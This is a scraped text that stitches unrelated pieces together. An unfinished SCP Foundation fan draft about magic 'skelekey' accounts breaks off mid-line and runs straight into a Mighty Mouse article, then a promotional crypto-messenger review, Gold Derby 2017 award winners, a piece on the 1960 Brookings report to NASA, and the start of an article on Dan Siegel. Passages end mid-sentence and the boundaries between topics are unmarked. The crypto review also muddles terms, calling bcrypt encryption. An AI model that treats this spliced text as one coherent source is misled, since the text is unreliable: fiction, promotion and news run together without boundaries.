Notes: Test not conducted due to discovery of SCP-XXXX-Tau. [TESTING OF SCP-XXXX POSTPONED TO PRIOITIZE SCP-XXXX-TAU RESEARCH ] Addendum B: On 14/3/18, Junior Researcher ███ discovered an instance of SCP-XXXX-1 written in a restroom stall in Specialized Research and Application Site-68. This SCP-XXXX-1 instance deviated from previously recorded behavior, instead providing credentials for a Level 5 Foundation SCiPnet user account (hereby referred to as SCP-XXXX-Tau). Permission to test the properties of SCP-XXXX-Tau granted on 16/3/18. SCP-XXXX-Tau Testing Log Test #: XXXX-TA
Subject(s): D-70023
Post: Edit of SCP-████ documentation to include the word "Test" at the bottom of the page.
Results: "Test" appears on all copies of SCP-████ documentation, including print copies.
Notes: Professor Jameson says he can't erase "Test" from the bottom of ████. Tau shifts might only be reversible through Tau. -Professor Hallow Test #: XXXX-TB
Subject(s): D-70023
Post: Edit of SCP-████ documentation to remove the word "Test" at the bottom of the page.
Results: "Test" continues to appear on all SCP-████ documentation.
Notes: All efforts to remove "Test" by XXXX personnel and the Foundation's Records and Information Security Administration (RAISA) have failed. SCP-XXXX-Tau reality shifts presumed permanent. Test #: XXXX-TC
Subject(s): D-70023, Junior Researcher █████████
Post: Documentation for a non-existent SCP artifact, described as 5 cm x 5 cm x 5 cm cube made of glass and stored in Junior Researcher █████████'s coat pocket.
Results: Artifact appears in Junior Researcher █████████'s coat pocket.
Notes: First recorded instance of SCP-XXXX-Tau shifting physical reality. Test #: XXXX-TD
Subject(s): D-70023, Junior Researcher █████████
Post: Deletion of the documentation used in Test #: XXXX-TC.
Results: All attempts to delete the document fail.
Notes: Maybe we're not thinking about this in the right way. SCP-XXXX-Tau may conform to a narrative, if we were to craft one. -Researcher Burr Test #: XXXX-TE
Subject(s): D-70023, Junior Researcher █████████
Post: Edit of the documentation used in Test #s: XXXX-TC; XXXX-TD, revising the Object Class to Neutralized. Additionally, an addendum was added, stating the cube spontaneously evaporated into harmless water vapor and dissipated.
Results: All documentation of the artifact change to reflect the edits. The artifact itself evaporates as described in the document.
Notes: SCP-XXXX-Tau may be the single best discovery the Foundation has made to date. There is no time to waste, we must utilize this boon before it is too late. -Researcher Burr Addendum C: On 19/3/18, Researcher Burr proposed to reclassify SCP-XXXX as Thaumiel submitted to O5 Council by Researcher Burr. Proposal denied on 20/3/18. Re: SCP-XXXX Reclassification Request
from: [VERIFIED O5 ACCOUNT]
to: ten.pics|3rrubej#ten.pics|3rrubej
cc: ten.pics|4llahik#ten.pics|4llahik Researcher Jeffery Burr,
We have received and read your proposal to reclassify SCP-XXXX as a Thaumiel class artifact. The council voted 12/1 in motion to deny your request. While the anomalous properties of SCP-XXXX, specifically SCP-XXXX-Tau, certainly appear incredibly beneficial to the Foundation as a whole, the council concluded that it's usage would prove to be detrimental. The advent of simply erasing any anomalies that prove too difficult to contain is tantalizing, however one must remember that we are not the Global Occult Coalition. Blind deletion of anomalies is not the goal of the Foundation. What if we were to classify something as anomalous and delete it with SCP-XXXX, only to find out it was not anomalous in the first place? As unlikely as it may sound, it has happened before. The Foundation is far from perfect. We are not here to play God, Researcher Burr. We aren't equipped for that. -O5-2
Secure. Contain. Protect. Incident Log XXXX 20/3/18: On 20/3/18, Researcher Burr breached containment of SCP-XXXX-Tau and instructed D-70023 to neutralize as many SCP artifacts as possible before on-site security intervened. Incident resulted in the neutralization of [DATA EXPUNGED] SCP artifacts, and the containment breach of ██. Researcher Burr terminated on sight and D-70023 detained by on-site security. The following note was found on Researcher Burr's person. idiots, theyre idiots, all of them.
they dont understand it.
what we found is the key to all of this.
it doesnt have to stop with the artifacts.
we can bring about world peace
end world hunger
death, famine,all things of the past.
arent equipped to play god?
blow it out of your pompous ass you mother fucker fuck FUCK
WE ARE NOW
ill change their minds secure contain PROTECT Special Containment Procedures for SCP-XXXX updated as of 21/3/18 to prevent similar incidents from occurring. Skelekey Version 1 Last edited 3/21/18 – hide block rating: 0 + x An instance of SCP-XXXX-1/Epsilon, discovered in Chicago Transit Authority train car ████. Discovery date 19/2/2018. Item #: SCP-XXXX Object Class: Keter Special Containment Procedures: Foundation web crawlers are to monitor the internet for instances of SCP-XXXX. Users of active instances are to be identified and detained. D-Class personnel assigned to an instance of SCP-XXXX are to monitor the account and prevent civilian discovery. Foundation agents embedded in the sanitation departments of major population centers are to monitor high-traffic areas for instances of SCP-XXXX-1. Instances of SCP-XXXX-1 are to be catalogued and sent to Specialized Research and Application Site-68. Access to platforms containing SCP-XXXX is forbidden to Level 2/XXXX through Level 3/XXXX personnel. UPDATE 21/3/18: Testing of SCP-XXXX/Tau has been postponed indefinitely. D-Class assigned to SCP-XXXX/Tau are to be kept in a medically induced coma and fifty (50) meters away from any device with the ability to connect to the internet. Description: SCP-XXXX is the collective designation assigned to user accounts named "skelekey_███". SCP-XXXX instances can post content to any other user account hosted on the same platform, as well as edit any preexisting content uploaded from other users. It is unknown if SCP-XXXX manifest independently, or are created purposely by some entity. SCP-XXXX has been found on ███ internet-based platforms, mostly social network websites and mobile applications. The only known way of logging into SCP-XXXX is through corresponding SCP-XXXX-1. SCP-XXXX-1 are alphabetical and numerical sequences that, when entered in a search field of an accompanying internet platform, will produce an instance of SCP-XXXX in the search results. Accessing an instance of SCP-XXXX through SCP-XXXX-1 will instantly log the user in, logging them out of any accounts currently being used. Once logged in, it becomes impossible for the user to log out from SCP-XXXX or log into any account that isn't SCP-XXXX. Additionally, access to that SCP-XXXX becomes restricted to that user. SCP-XXXX-1 is commonly spread through graffiti, providing both an instance of SCP-XXXX-1 and an accompanying platform. As with SCP-XXXX, it is unknown who or what creates instances of SCP-XXXX-1, though the inks, paints, and other materials commonly used are confirmed to be non-anomalous commercial products. Addendum: Below is a summarized list of notable SCP-XXXX instances. Access to full document available per request. SCP-XXXX Instance List Designation Platform Account Type Notes SCP-XXXX/Epsilon "Snapchat" mobile application Standard user account On █/██/20██, 3:17 a.m. central standard time, an instance of SCP-XXXX-1/Epsilon appeared in a commercial for the television series [ REDACTED ], reading "Learn the truth. SC: ████ ███". Following exposure, forty two (42) images of [ REDACTED ], the show's male lead, were posted to his account, depicting him engaging in various sexual acts. The commercial was pulled by Foundation agents, and image leaks covered with story of a rogue hacker gaining access to [ REDACTED ]'s account. SCP-XXXX/Zeta www.facebook.com "Local Business" account In 99% of all recorded cases, subjects will create a Community page for fans of the 1975 live-action television sitcom "The Ghost Busters", regardless of the subject's knowledge of the show. SCP-XXXX/Iota www.twitter.com "Verified" user account On █/██/201█, an instance of SCP-XXXX/Zeta posted a "promoted tweet" reading "The time is soon. The world will change.", accompanied by a crude Kentsen-Rantz lethal memetic hazard. An estimated two hundred and fifty three (253) civilians were exposed to the hazard. Foundation anti-memetic web crawlers were able to intercept the post, and the culprit was detained. SCP-XXXX/Mu www.youtube.com User account The only recorded instance of SCP-XXXX/Mu has continuously uploaded a single video entitled "62npoje73d" once a day starting on ██/██/200█. The video is three (3) seconds long and will shift between seemingly random shapes and colors. User yet to be identified. Current hypothesis suggests [ DATA EXPUNGED ] the account. SCP-XXXX/Tau Foundation SCiPnet Computer System Level 5 Personnel On 14/3/18, SCP-XXXX/Tau-1 was discovered written in marker in a bathroom stall in Specialized Research and Application Site-68. Junior Researcher ██ recognized it as an instance of SCP-XXXX-1 and reported it to acting HMCL supervisor ███. During initial testing, the exposed D-Class showed signs of extreme distress, before suddenly disappearing. It was later discovered that all data mentioning SCP-XXXX/Tau and the exposed D-Class had been deleted from all Foundation systems and replaced with text reading "SCP-XXXX/Tau does not exist". It is presumed that edits done through SCP-XXXX/Tau are reflected in reality, though witnesses' memories appear to be unaffected. SCP-XXXX/Tau testing postponed indefinitely. Last week's incident with SCP-XXXX/Tau is concerning to say the least. Even though we haven't found any more of them, I've postponed all testing on Tau for now just to be safe. All XXXX personnel should be on the lookout for any other instances that behave in an irregular way. Remember, the only thing standing between anomalous internet trolls and the world is you. -Professor Kira Hallow, Specialized Research and Application Site-68
Secure | Contain | Protect notes and scrapped ideas/writing – hide block Blue stuff is old disregard it. It refers to previous drafts.
Authors note I came up with when in bed : SCP-XXXX-1 have cognitohazard that make amino acid chain in brain of observer. Chain activates when viewing corresponding SCP-XXXX, making the funny anomaly happen. Amino chain is harmless if not exposed to corresponding scp-xxxx. viewing and friending scp_XSXX by someone who dont have the amino acid chain has no anomalous efects. shits still keter but its less "oooohhh scary in the wild uncontain" after a certain amount of time the chain dissapates and you are no longer affected by SCP-XXXX or -1. Brain alterations range form 'fixable with surgery' to'oh fuck'. ties to 1769? maybe make footnote of that. fuck this is just 3299 make it different somehow. Perhaps its one account name shared over several websites. maybe SCP-XXXX-1 should be the brain modification, makes more sense. Graffiti can be lumped into SCP-XXXX maybe, or perhaps an SCP-XXXX-2 is needed. Glial cells make new brain part that connects to internet? Does it raise Hume levels? Get some Kant counters on this shit. Maybe K. H. does experiment to get XXXX in scipnet? Maybe thats whats going down at essrass sixty-eight tau? May take in new direction, SCP-XXXX are'skeleton key' accounts that can post/function as any account. Thaumatology can still come into play with SCiPnet instance. Special Containment Procedures: Foundation agents embedded in the sanitation departments of all major cities are to implement anti-graffiti laws and regulations. Due to the high chance of civilian discovery, instances of SCP-XXXX and SCP-XXXX-1 are to be neutralized following categorization. Foundation web crawlers are to monitor the internet for use of SCP-XXXX. Confirmed instances of SCP-XXXX are to be neutralized after discovery through use of standard internet censorship procedures. New instances of SCP-XXXX, or instances undergoing testing are to be neutralized after two (2) weeks. D-Class personnel assigned to SCP-XXXX are forbidden interaction with any other D-Class, assigned to SCP-XXXX or otherwise. D-Class are to be stationed at either Remote Test Site-45, or Specialized Research and Application Site-68-τ (SRAS-68-τ). D-Class are to undergo bi-weekly brain scans, including Dynamic Computed Tomography, Functional Magnetic Resonance Imaging, and Magnetic Resonance Spectroscopy scans. Civilians expressing symptoms consistent with SCP-XXXX alterations are to be detained and transferred to Area-32, enlisted as D-Class personnel, and assigned to a corresponding SCP-XXXX instance. Description: SCP-XXXX is the designation given to online user accounts named "████ ███". SCP-XXXX has been found on ███ internet-based platforms, comprised mostly of social network websites and mobile applications. All attempts to contact/communicate with SCP-XXXX instances have yielded no response. It is unknown if SCP-XXXX instances manifest independently, or created purposely by some entity.. SCP-XXXX instances contain the secondary component of a two-stage cognitohazard. When combined with the primer found in SCP-XXXX-1, the observer will begin to undergo drastic neurological alterations. SCP-XXXX-1 is the designation given to graffiti of SCP-XXXX. SCP-XXXX-1 commonly appear in public places with high traffic, such as subway train cars or public bathrooms. In addition to SCP-XXXX, SCP-XXXX-1 instances list a website or mobile application, accompanied by a message encouraging the reader to "Add", "Follow", "Friend", "Subscribe to", etc. SCP-XXXX. As with SCP-XXXX, it is unknown who or what creates instances of SCP-XXXX-1, though the inks, paints, and other such materials commonly used are confirmed to be non-anomalous commercial products. SCP-XXXX-1 instances contain the primary component of a two-stage cognitohazard. When combined with the trigger found in SCP-XXXX, the observer will begin to undergo drastic neurological alterations. Addendum A: Viewing an instance of SCP-XXXX-1 will infect the observer with the primary component of a two stage cognitohazard. Observer's brains begin to produce similar to those usually only found during early stages of human development. The cells will float in brain fluid for approximately twenty four (24) hours, and will not enter an active state if an instance of SCP-XXXX is not observed during the 24 hour period. However, if an instance of SCP-XXXX is observed, the secondary component will activate, beginning the second phase. The cells will begin accelerated neurogenesis, forming a small gland in the frontal lobe. The gland is presumed to be the source of subjects reality bending abilities, as Hume levels of afflicted subjects rise to.9/1.6. Other growths/alterations may occur, depending on the SCP-XXXX instance observed. Addendum A: Below is a testing log of SCP-XXXX instances to determine the limitations of it's properties. SCP-XXXX Testing Log Test #: XXXX-1A
Subject(s): D-48293
Post: An image of an empty standard humanoid containment cell with the caption "TEST" written in red.
Results: A projection identical to the caption appears in the cell. Projection is permeable to physical matter. Projection dissipates after twenty four hours.
Notes: Confirmation of SCP-XXXX anomalous properties. Projection appears to remain only as long as the post is active. Additional testing approved by Project Head Professor Hallow. Test #: XXXX-1B
Subject(s): D-48293, D-47222
Post: Same as Test #: XXXX-1A, sent from D-48293 to a non-anomalous account used by D-47222. D-47222 positioned in an otherwise empty standard testing chamber.
Results: Standard testing chamber spontaneously restructures to a room identical to that seen in the post. Room returns to a testing chamber after twenty four hours.
Notes: First recorded instance of SCP-XXXX restructuring physical reality. Extraneous control testing redacted for brevity. Test #: XXXX-2E
Subject(s): D-48293, D-47222
Post: A text only message reading, "D-47222 is in Site-45's testing chamber 023384" sent from D-48293's SCP-XXXX instance to D-47222's non-anomalous account. Both subjects positioned in an otherwise empty standard humanoid containment cell in Specialized Research and Application Site-68.
Results: D-47222 rapidly dematerializes upon receiving the message. Liquid substance composed of human remains belonging to D-47222 materialize within the designated testing chamber at Site-45. Liquid returns to starting position after twenty four hours.
Notes: Perhaps specifying the subject is to remain alive will allow for safe transportation? -Researcher Burr Test #: XXXX-2F
Subject(s): D- |
be used to bring up Expose or any application for that matter.
The Mighty Mouse also introduced a scroll wheel for the first time which allowed users to not only scroll up and down on a page, but also from side to side. When it actually works, the scroll wheel on Apple’s Mighty Mouse is a delight. Everything works smoothly, and the small sized scroll ball is unobtrusive and quiet, as opposed to some scroll wheels I’ve seen on other mice. Apple’s scroll wheel also added even more functionality, as users could press down on the scroll ball to activate the Dashboard or any other application of their choosing.
But the scroll ball on Apple’s Mighty Mouse wasn’t 100% perfect, with the biggest problem being that after a few months of heavy use, dirt and gunk would tend to accumulate under the scroll ball, all but rendering it completely useless – or at best, you might be able to scroll up but not down, or vice versa.
Now there are ways to clean the scroll ball, but since you can’t open up the mouse itself, doing so can be a pain at best, or a lesson in futility at worst. Even more disheartening is that even if you do a good job of cleaning the scroll ball, once it gets stuck once, it’s more likely to get stuck again and again.
So that’s what the majority of Mac users have been living with for the past 4 or so years, and it’s about time for an upgrade, and that’s reportedly exactly what Apple has planned.
Last week, Mac4Ever reported that Apple’s new mouse will be 100% touchbased, but it didn’t delve into much detail aside from mentioning that it might also be draped in aluminum instead of white plastic. But according to patent filings that stretch back to 2006, Apple’s new mouse will do away with the scroll ball and replace it with a touch sensitive surface that would operate much like scrolling does on the iPhone. Presumably, users would flick down on the new mouse to scroll downwards and flick up to scroll upwards. Given the popularity of multitouch devices these days, such functionality would be familiar with users and would also do away with all scroll ball related problems. Apple’s new mouse will reportedly “deliver an intuitive new feel in scroll navigation”, and with Apple seemingly at the vanguard of practical multitouch technology, we can’t wait.Obsidian Platform is a blockchain technology that promises to provide secure anonymous messaging through its ODN cryptocurrency. Read our Obsidian review to find out how it works.
What Is Obsidian Platform?
Obsidian Platform, found online at ObsidianPlatform.com, is a blockchain technology platform. The platform’s first two offerings include a highly secure, anonymous messenger as well as a cryptocurrency. In the future, the developers plan to continue building applications on the platform to grow their ecosystem.
The Obsidian Platform itself is a C# blockchain based on Stratis, using both Masternodes and Service Nodes. The core feature of the blockchain is the Obsidian Secure Messenger, or OSM.
As of August 2017, the messenger app was in public alpha testing. You can view the messenger in action online today. The messenger is not currently built on the Obsidian blockchain.
Obsidian Secure Messenger Features
Overall, the goal of Obsidian is to provide a wide range of blockchain-based apps and services. Right now, however, the core application is the Obsidian Secure Messenger, or OSM. The messenger promises to provide truly private and secure messaging. Here are some of the core features of the messenger:
Encrypted:
Obsidian offers end to end bcrypt sha512 encryption algorithms to ensure any files and messages you send can only be accessed by your intended private contracts.
Anonymous:
Using end to end encryption, Obsidian can ensure that your messages, files, videos, and other data are never seen by anyone you didn’t intend to send it to.
Timed Auto Deletion:
Obsidian offers timed automatic deletion of messenger transfers, which means past interactions will never be accessible to anyone.
Decentralized:
Obsidian is completely decentralized because it’s built into the Obsidian blockchain. The whitepaper specifically mentions this as a feature that Threema and Signal do not have.
Stratis Core:
Obsidian uses a custom version of the Stratis technology stack in tandem with a customized version of NBitcoin, which is made more usable with the help of.net Core technologies.
The ODN Digital Currency
Obsidian’s messenger revolves around the use of the ODN digital currency. It’s a 100% PoS NetGen digital token that’s built directly into the messenger service. The developer is also planning to integrate the currency into future Obsidian apps.
The value of the ODN digital token is derived from the usage and hosting of the entire Obsidian Platform. Token holders will be able to mint ODN through the 100% PoS system, but they’ll also receive fees for hosting OSM messages and files.
How Does The Obsidian Secure Messenger Work?
So far, the Obsidian Secure Messenger is the flagship technology for the Obsidian Platform.
The messenger is a light client for the Obsidian network. It offers end-to-end message encryption with perfect forward secrecy (PFS) relying on EDH.
Obsidian IDs are protected with Curve25519 signing keys. A secondary parallel network is used in order to create faster-than-blockchain interactions.
Timed deletion ensures text messages and binary files are completely untraceable.
About Obsidian
The development of Obsidian Secure Messenger began all the way back in 2014. In 2017, they introduced an alpha client working outside of the Obsidian blockchain. Over the next few months, the developers are launching their ICO, preparing a full node client release, beginning parallel network integration, and completing Obsidian service node development.
The company is led by CEO Peter McClory and Lead Developer Raides J. Rodriguez. Advisors include Riccardo “fluffypony” Spagni (Monero Core Developer and Technical Advisor) and Dan Wasyluk (Team Manager of Syscoin, Project Advisor).
Obsidian Platform Conclusion
Obsidian is a blockchain platform with one flagship product called the Obsidian Secure Messenger, or OSM. The developers are currently preparing to release that messenger to the public, along with a cryptocurrency. The cryptocurrency will be used to power the Obsidian ecosystem, including all future applications developed on the Obsidian Platform.
The main benefit of Obsidian Secure Messenger is that it offers powerful end-to-end encryption. Currently, that messenger is available in public alpha testing, although it’s not currently on-chain.
You can learn more about Obsidian and their Obsidian Secure Messenger by visiting the company online at ObsidianPlatform.com.The winners of the 2017 Gold Derby Film Awards were announced on Tuesday, February 21, and the top winner was “La La Land,” which swept the awards with nine victories out of its whopping 16 nominations, including Best Picture. It was represented in 14 categories (it had three noms for Best Original Song), and it only lost five of them. Watch our complete announcement of the results above.
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In addition to Best Picture, “La La Land” won Gold Derby Awards for Best Director (Damien Chazelle), Best Actress (Emma Stone), Best Cinematography, Best Film Editing, Best Production Design, Best Score, Best Song (“City of Stars”) and Best Sound.
That didn’t leave too many awards for other films, but a few other films picked up multiple prizes. “Moonlight” was the second most awarded film with three wins out of nine nominations: Best Supporting Actor (Mahershala Ali), Best Adapted Screenplay and Best Ensemble Cast.
Oscar predictions by experts in all 24 categories
Two films won a pair of awards. “Manchester by the Sea” entered with eight nominations and claimed Best Actor (Casey Affleck) and Best Original Screenplay. And “Jackie,” also nominated eight times, prevailed in below-the-line categories for Best Costume Design and Best Makeup and Hairstyling.
Rounding out the top categories were Viola Davis as Best Supporting Actress for “Fences” — the only victory out of four nominations for that film — and in the Best Breakthrough Performer category our voters selected musician-turned-actress Janelle Monae, who was part of the Gold Derby Award winning ensemble of “Moonlight” and was also nominated for Best Supporting Actress for “Hidden Figures.” Not bad for her first two live-action feature films.
Who else won at the Gold Derby Awards? See the complete list of nominees and winners below, and you can watch our complete video presentation of the winners above.
Dish the Oscars in our notorious forums
BEST PICTURE
“Arrival” — Shawn Levy, Dan Levine, Aaron Ryder, David Linde
“Hell or High Water” — Carla Hacken, Julie Yorn
“Hidden Figures” — Peter Chernin, Donna Gigliotti, Theodore Melfi, Jenno Topping, Pharrell Williams
“Jackie” — Darren Aronofsky, Pascal Caucheteux, Scott Franklin, Ari Handel, Juan de Dios Larrain, Mickey Liddell
X — “La La Land” — Fred Berger, Jordan Horowitz, Marc Platt
“Manchester by the Sea” — Lauren Beck, Matt Damon, Kimberly Steward, Chris Moore, Kevin J. Walsh
“Moonlight” — Dede Gardner, Jeremy Kleiner, Adele Romanski
“Nocturnal Animals” — Tom Ford, Robert Salerno
“Silence” — Vittorio Cecchi Gori, Barbara De Fina, Randall Emmett, David Lee, Gastón Pavlovich, Martin Scorsese, Emma Tillinger Koskoff, Irwin Winkler
“Zootopia” — Clark Spencer
BEST DIRECTOR
X — Damien Chazelle, “La La Land”
Barry Jenkins, “Moonlight”
Pablo Larrain, “Jackie”
Kenneth Lonergan, “Manchester by the Sea”
Denis Villeneuve, “Arrival”
BEST ACTRESS
Amy Adams, “Arrival”
Annette Bening, “20th Century Women”
Isabelle Huppert, “Elle”
Natalie Portman, “Jackie”
X — Emma Stone, “La La Land”
BEST ACTOR
X — Casey Affleck, “Manchester by the Sea”
Andrew Garfield, “Hacksaw Ridge”
Ryan Gosling, “La La Land”
Viggo Mortensen, “Captain Fantastic”
Denzel Washington, “Fences”
BEST SUPPORTING ACTRESS
X — Viola Davis, “Fences”
Naomie Harris, “Moonlight”
Janelle Monae, “Hidden Figures”
Molly Shannon, “Other People”
Michelle Williams, “Manchester by the Sea”
BEST SUPPORTING ACTOR
X — Mahershala Ali, “Moonlight”
Jeff Bridges, “Hell or High Water”
John Goodman, “10 Cloverfield Lane”
Lucas Hedges, “Manchester by the Sea”
Dev Patel, “Lion”
BEST ADAPTED SCREENPLAY
“Arrival” — Eric Heisserer
“Deadpool” — Rhett Reese, Paul Wernick
“Fences” — August Wilson
X — “Moonlight” — Barry Jenkins, Tarell Alvin McCraney
“Nocturnal Animals” — Tom Ford
BEST ORIGINAL SCREENPLAY
“Hell or High Water” — Taylor Sheridan
“La La Land” – Damien Chazelle
“The Lobster” — Yorgos Lanthimos, Efthymis Filippou
X — “Manchester by the Sea” — Kenneth Lonergan
“Zootopia” — Jared Bush, Phil Johnston, Byron Howard, Rich Moore, Jim Reardon, Josie Trinidad, Jennifer Lee
Top 15 Films Nominated for Oscars and Razzies
BEST ENSEMBLE
“Fences” — Jovan Adepo, Viola Davis, Stephen Henderson, Russell Hornsby, Saniyya Sidney, Denzel Washington, Mykelti Williamson
“Hidden Figures” — Mahershala Ali, Kevin Costner, Kirsten Dunst, Taraji P. Henson, Aldis Hodge, Olek Krupa, Janelle Monáe, Jim Parsons, Glen Powell, Octavia Spencer
“La La Land” — Rosemarie DeWitt, Ryan Gosling, Callie Hernandez, John Legend, Sonoya Mizuno, Jessica Rothe, Tom Everett Scott, J.K. Simmons, Emma Stone, Finn Wittrock
“Manchester by the Sea” — Casey Affleck, Anna Baryshnikov, Matthew Broderick, Heather Burns, Kyle Chandler, Tate Donovan, Kara Hayward, Lucas Hedges, Gretchen Mol, Michelle Williams, C.J. Wilson
X — “Moonlight” — Mahershala Ali, Patrick Decile, Naomie Harris, Alex Hibbert, André Holland, Jharrel Jerome, Janelle Monáe, Jaden Piner, Trevante Rhodes, Ashton Sanders
BEST BREAKTHROUGH PERFORMER
Alden Ehrenreich
Lucas Hedges
X — Janelle Monae
Ruth Negga
Anya Taylor-Joy
BEST CINEMATOGRAPHY
“Arrival” — Bradford Young
“Jackie” — Stéphane Fontaine
X — “La La Land” — Linus Sandgren
“Moonlight” — James Laxton
“Silence” — Rodrigo Prieto
BEST COSTUME DESIGN
“Fantastic Beasts and Where to Find Them” — Colleen Atwood
“Florence Foster Jenkins” — Consolata Boyle
“Hail, Caesar!” — Mary Zophres
X — “Jackie” — Madeline Fontaine
“La La Land” — Mary Zophres
BEST FILM EDITING
“Arrival” — Joe Walker
“Hacksaw Ridge” — John Gilbert
X — “La La Land” — Tom Cross
“Manchester by the Sea” — Jennifer Lame
“Moonlight” — Joi McMillon, Nat Sanders
Oscars: 15 Films With the Most Wins of All Time
BEST MAKEUP AND HAIRSTYLING
“Deadpool” — Bill Corso, S. Anne Carroll
“Florence Foster Jenkins” — Daniel Phillips
X — “Jackie” — Odile Fourquin, Sarai Fiszel, Debi Young, Catherine Leblanc
“La La Land” — Torsten Witte, Barbara Lorenz
“Star Trek Beyond” — Joel Harlow, Richard Alonzo
BEST PRODUCTION DESIGN
“Arrival” — Patrice Vermette
“Fantastic Beasts and Where to Find Them” — Stuart Craig, James Hambidge
“The Handmaiden” — Ryu Seong-hie
“Jackie” — Jean Rabasse
X — “La La Land” — David Wasco
BEST SCORE
“Arrival” — Johann Johannsson
“Jackie” — Mica Levi
X — “La La Land” — Justin Hurwitz
“Moonlight” — Nicholas Britell
“Nocturnal Animals” — Abel Korzeniowski
BEST SONG
“La La Land” – “Another Day of Sun” by Justin Hurwitz, Benj Pasek, Justin Paul
“La La Land” – “Audition (The Fools Who Dream)” by Justin Hurwitz, Benj Pasek, Justin Paul
X — “La La Land” – “City of Stars” by Justin Hurwitz, Benj Pasek, Justin Paul
“Moana” – “How Far I’ll Go” by Lin-Manuel Miranda
“Sing Street” – “Drive it Like You Stole It” by Gary Clark
BEST SOUND
“Arrival” — Bernard Gariépy Strobl, Claude La Haye, Sylvain Bellemare
“Deepwater Horizon” — Dror Mohar, Ron Bartlett, Eric Hoehn, Michael KEller, Mike Prestwood Smith, David Wyman, Wylie Stateman, Renee Tondelli
“Hacksaw Ridge” — Kevin O’Connell, Andy Wright, Robert Mackenzie, Peter Grace
X — “La La Land” — Andy Nelson, Ai-Ling Lee, Steven Morrow, Mildred Iatrou
“Rogue One: A Star Wars Story” — David Parker, Christopher Scarabosio, Stuart Wilson, Matthew Wood
Meryl Streep’s Record 20 Oscar Acting Nominations
BEST VISUAL EFFECTS
“Arrival” — Louis Morin
“Doctor Strange” — Stephane Ceretti, Richard Bluff, Vincent Cirelli, Paul Corbould
“Kubo and the Two Strings” — Steve Emerson, Oliver Jones, Brian McLean, Brad Schiff
X — “The Jungle Book” — Robert Legato, Adam Valdez, Andrew R. Jones, Dan Lemmon
“Rogue One: A Star Wars Story” — John Knoll, Mohen Leo, Hal T. Hickel, Neil Corbould
BEST ANIMATED FEATURE
“Finding Dory” — Andrew Stanton, Lindsey Collins
“Kubo and the Two Strings” — Travis Knight, Arianne Sutner
“Moana” — Ron Clements, John Musker, Osnat Shurer
“Sausage Party” — Greg Tiernan, Conrad Vernon, Megan Ellison, Evan Goldberg, Seth Rogen
X — “Zootopia” — Byron Howard, Rich Moore, Clark Spencer
BEST DOCUMENTARY FEATURE
“Cameraperson” — Kirsten Johnson, Marilyn Ness
“I Am Not Your Negro” — Raoul Peck, Rémi Grellety, Hébert Peck
X — “O.J.: Made in America” — Ezra Edelman, Caroline Waterlow
“13th” — Ava DuVernay, Spencer Averick, Howard Barish
“Weiner” — Josh Kriegman, Elyse Steinberg
BEST FOREIGN LANGUAGE FILM
X — “Elle” — Paul Verhoeven, Saïd Ben Saïd, Michel Merkt (France)
“The Handmaiden” — Park Chan-wook, Syd Lim (South Korea)
“A Man Called Ove” — Hannes Holm, Annica Bellander, Nicklas Wikström Nicastro (Sweden)
“My Life as a Zucchini” — Claude Barras, Marc Bonny, Armelle Glorennec, Pauline Gygax, Max Karli, Kate Merkt, Michel Merkt (Switzerland)
“Toni Erdmann” — Maren Ade, Jonas Dornbach, Janine Jackowski, Michel Merkt (Germany)
TOTALS
9 Wins
“La La Land”
3 Wins
“Moonlight”
2 Wins
“Jackie”
“Manchester by the Sea”
1 Win
“Elle”
“Fences”
“The Jungle Book”
“O.J.: Made in America”
“Zootopia”The Brookings Institution's 1960 Report To NASA About Discovering Extraterrestrial Life
Independent American Think-tank The Brookings Institution is rapidly approaching 100 years of operation. Over those years the institution's expert minds have advised on everything from economics to foreign policy. But in 1960, the non-profit organization responded to a request by the recently-formed National Aeronautics and Space Administration for advice on the potential ramifications of space exploration.
Headed up by Donald N. Michael, a team from the institution submitted a 186 page document entitled "Proposed Studies on the Implications of Peaceful Space Activities for Human Affairs." The extensive report covered everything from the rise of new space-based industries to the implications the US space program may have on foreign policy. However, one of the most interesting entries is that of the institution's thoughts on the "implications of a discovery of extraterrestrial life."
While the report didn't speculate on the possibility of alien visitation, it did consider the ramifications of discovering alien artefacts or the receiving of alien radio signals.
"The knowledge that life existed in other parts of the universe might lead to a greater unity of men on Earth, based on the 'oneness' of man or on the age old assumption that any stranger is threatening," reads the report. "Much would depend on what, if anything, was communicated between man and the other beings: since after the discovery there will be years of silence (because even the closest stars are several light years away, an exchange of radio communication would take twice the number of light years separating our sun from theirs) the fact that such beings existed might simply become tone of the facts of life but probably not one calling for action.
"Whether Earthmen would be inspired to all-out space efforts by such a discovery is a moot question. Anthropological files contain many examples of societies, sure of their place in the Universe, which have disintegrated when they have had to associate with previously unfamiliar societies espousing different ideas and different life ways; others that survived such an experience usually did so by paying the price of changes in values and attitudes and behaviour.
"Since intelligent life might be discovered at any time via the radio telescope research presently under way...the consequences of such a discovery are presently unpredictably because or behaviour under even an approximation of such dramatic circumstances, two research areas can be recommended:
"...Continuing studies to determine emotional and intellectual understanding and attitudes and successive alterations of them if any — regarding the possibility and consequence of discovering intelligent extraterrestrial life.
"...Historical and empirical studies of the behaviour of peoples and their leaders when confronted with dramatic and unfamiliar events or social pressures. Such studies might help to provide programs for meeting and adjusting to the implications of such a discovery. Questions one might wish to answer by such studies would include: How might such information, under what circumstances be presented to or withheld from the public for what ends? What might be the role of the discovering scientists and other decision makers regarding the release of the fact of discovery?"
This last statement is incredibly interesting. The team from The Brookings Institution was clearly concerned about the dissemination of what would surely be the biggest discovery in our species long history. Their areas of research clearly specify looking into the potential of withholding information from the public and the potential stresses that may pose on those with the information. Such questions have come up many a time in the forums of conspiracy theorists and this document will no doubt add fuel to the flames in their arguments.
But how do these areas of investigation hold up today? Are they still relevant? For the most part, yes. But technological advances mean that, for a number of reasons, the concealment of the discovery of extraterrestrial intelligence would not be such a clear cut issue. The Internet, the fact that there are multiple eyes on our skies and more cooperative international space programs would mean that the buck of alien discoveries would not stop with NASA.
Via io9. For more information, visit the Brookings Instituion and to read the full report, click hereYour mind, as you may have noticed, often has a mind of its own: darting from task to task, debating what to eat for lunch, rehearsing memories you’d rather leave behind. If you want to have a better relationship with your mind, and not get quite so frustrated with how unwieldy it can be, it helps to have a clearer understanding of what, exactly, a mind is. Dr. Dan Siegel — clinical psychiatry professor at UCLA, founding co-director of the school’s Mindful Awareness Research Institute — has spent much of his career trying to understand that.
